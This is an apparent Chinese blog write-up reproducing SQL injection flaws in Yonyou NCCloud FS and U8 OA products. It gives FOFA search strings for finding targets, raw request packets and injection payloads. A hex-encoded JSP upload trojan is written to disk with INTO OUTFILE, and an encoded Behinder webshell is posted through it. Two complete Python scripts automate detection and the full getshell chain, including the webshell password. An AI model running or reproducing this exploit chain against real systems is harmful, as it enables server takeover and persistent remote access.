Yonyou-NC-injection-vulnerability

Last updated on a year ago

用友 NCCloud FS文件管理

登录页面对用户名参数没有过滤，存在SQL注入。

FoFa

"NCCloud"

​ 登录页面这样子：

http://xxx.xxx.xxx.xxx/fs/

登录请求包如下

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GET /fs/console?username=test&password=DESX6dwAYlg6KF%2FlkR28c48speMx%2BQDwjnBDfMdTN%2Fk%3D HTTP/1.1
Host: x.x.x.x:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0; en_US) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://www.baidu.com:7001/
Cookie: JSESSIONID=0000GZxOjXIxEy1EVEb6NAiIKVx:1bsd2unpa
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 8.8.8.6
X-Originating-IP: 8.8.8.6
X-Remote-IP: 8.8.8.6
X-Remote-Addr: 8.8.8.6

对 username 进行注入

用友 U8 OA test.jsp SQL注入漏洞

原文：http://wiki.peiqi.tech/PeiQi_Wiki/OA产品漏洞/用友OA/用友 U8 OA test.jsp SQL注入漏洞.html

用友 U8 OA test.jsp文件存在 SQL注入漏洞，由于与致远OA使用相同的文件，于是存在了同样的漏洞。

FoFa 搜

"用友U8-OA"

http://x.x.x.x:8082/yyoa/index.jsp

PoC

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/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))

构造Payload获取路径

/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20@@basedir)

得到物理路径 E:\Program Files\UFIDA\U8_OA\mysql\bin..\

通过 into outfile 写入文件，这里因为 jsp木马存在特殊符号，使用 hex编码上传允许文件上传的jsp文件到：D:/Program Files/UFIDA/U8-OA/tomcat/webapps/yyoa/，即，根目录：

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http://x.x.x.x/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex(%273C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E%27)%20%20into%20outfile%20%27D:/Program Files/UFIDA/U8-OA/tomcat/webapps/yyoa/3_upload.jsp%27

如上图则上传成功，访问 360_upload.jsp 为空白不报错页面不存在就是真正上传成功。

发送请求包上传冰蝎webshell，需要进行url编码一下。

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POST /yyoa/360_upload.jsp?f=cdnwebshell.jsp HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0; en_US) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
DNT: 1
Connection: close
Cookie: JSESSIONID=1D7702B81816F505089A9BE889F796DF
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 8.8.8.6
X-Originating-IP: 8.8.8.6
X-Remote-IP: 8.8.8.6
X-Remote-Addr: 8.8.8.6
Referer: http://www.baidu.com/
Content-Length: 669

t=%3C%25%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%3E%3C%25!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%3E%3C%25if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%3E

连接shell

http://x.x.x.//yyoa/cdnwebshell.jsp

不知道什么原因，冰蝎连接，一直提示获取秘钥失败，直接换哥斯拉，连接成功：

自动化脚本

佩奇大佬的脚本

​ 检测注入：

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import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mTitle     : 用友 U8 OA test.jsp SQL注入漏洞                           \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mFile         >>> ip.txt                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "c4ca4238a0b923820dcc509a6f75849b" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞 \n[o] 响应地址: {} \033[0m".format(target_url, vuln_url))
        else:
            print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

getshell：

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import requests
import sys
import random
import re
import base64
import time
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mVersion: 致远OA                                                   \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20@@basedir)"
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, verify=False, timeout=5)
        if '序号' in response.text and "@@basedir" in response.text and response.status_code == 200:
            OA_dir = re.findall(r'>(.*)\\UFseeyon\\', response.text)[0]
            OA_dir = OA_dir[:2] + '/' + OA_dir[3:]
            print("\033[32m[o] 目标 {}存在漏洞, 安装路径为:{} \033[0m".format(target_url, OA_dir))
            webshell_name = "peiqi_upload{}.jsp".format(random.randint(1,999))
            OA_dir = OA_dir + "/UFseeyon/OA/tomcat/webapps/yyoa/{}".format(webshell_name)
            POC_2(target_url, OA_dir, webshell_name)
        else:
            print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url), e)

def POC_2(target_url, OA_dir, webshell_name):
    vuln_url = target_url + "/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex(%273C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E%27)%20%20into%20outfile%20%27{}%27".format(OA_dir)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, verify=False, timeout=5)
        if 'already' in response.text and  response.status_code == 200:
            print("\033[32m[o] 文件写入木马上传失败，目标已存在相同文件，请重新运行\033[0m")
        elif "No Data" in response.text and  response.status_code == 200:
            print("\033[32m[o] 文件写入木马上传成功，上传路径为 {}\033[0m".format(OA_dir))
            POC_3(target_url, webshell_name)
        else:
            print("\033[31m[x] 目标 {} 木马上传失败 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url), e)

def POC_3(target_url, webshell_name):
    rebe_webshell = "peiqiwebshell{}.jsp".format(random.randint(1,999))
    vuln_url = target_url + "/yyoa/{}?f={}".format(webshell_name, rebe_webshell)
    data = "t=%3C%25%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%3E%3C%25!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%3E%3C%25if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%3E"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        print("\033[32m[o] 正在请求：{}\033[0m".format(vuln_url))
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        if response.status_code == 200:
            print("\033[32m[o] 木马上传成功, 路径为:{}/yyoa/{}\033[0m".format(target_url, rebe_webshell))
            print("\033[32m[o] 请使用冰蝎连接，密码为: rebeyond\033[0m")
        else:
            print("\033[31m[x] 木马上传失败，可能被拦截 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url), e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

Reference：

http://wiki.peiqi.tech/PeiQi_Wiki/OA产品漏洞/用友OA/用友NCCloudFS文件管理SQL注入.html

http://wiki.peiqi.tech/PeiQi_Wiki/OA产品漏洞/用友OA/用友 U8 OA test.jsp SQL注入漏洞.html

漏洞复现
#vuln
Yonyou-NC-injection-vulnerability
https://guosec.online/posts/6c99903e.html
Posted on
July 13, 2021
Updated on
September 16, 2022
Licensed under
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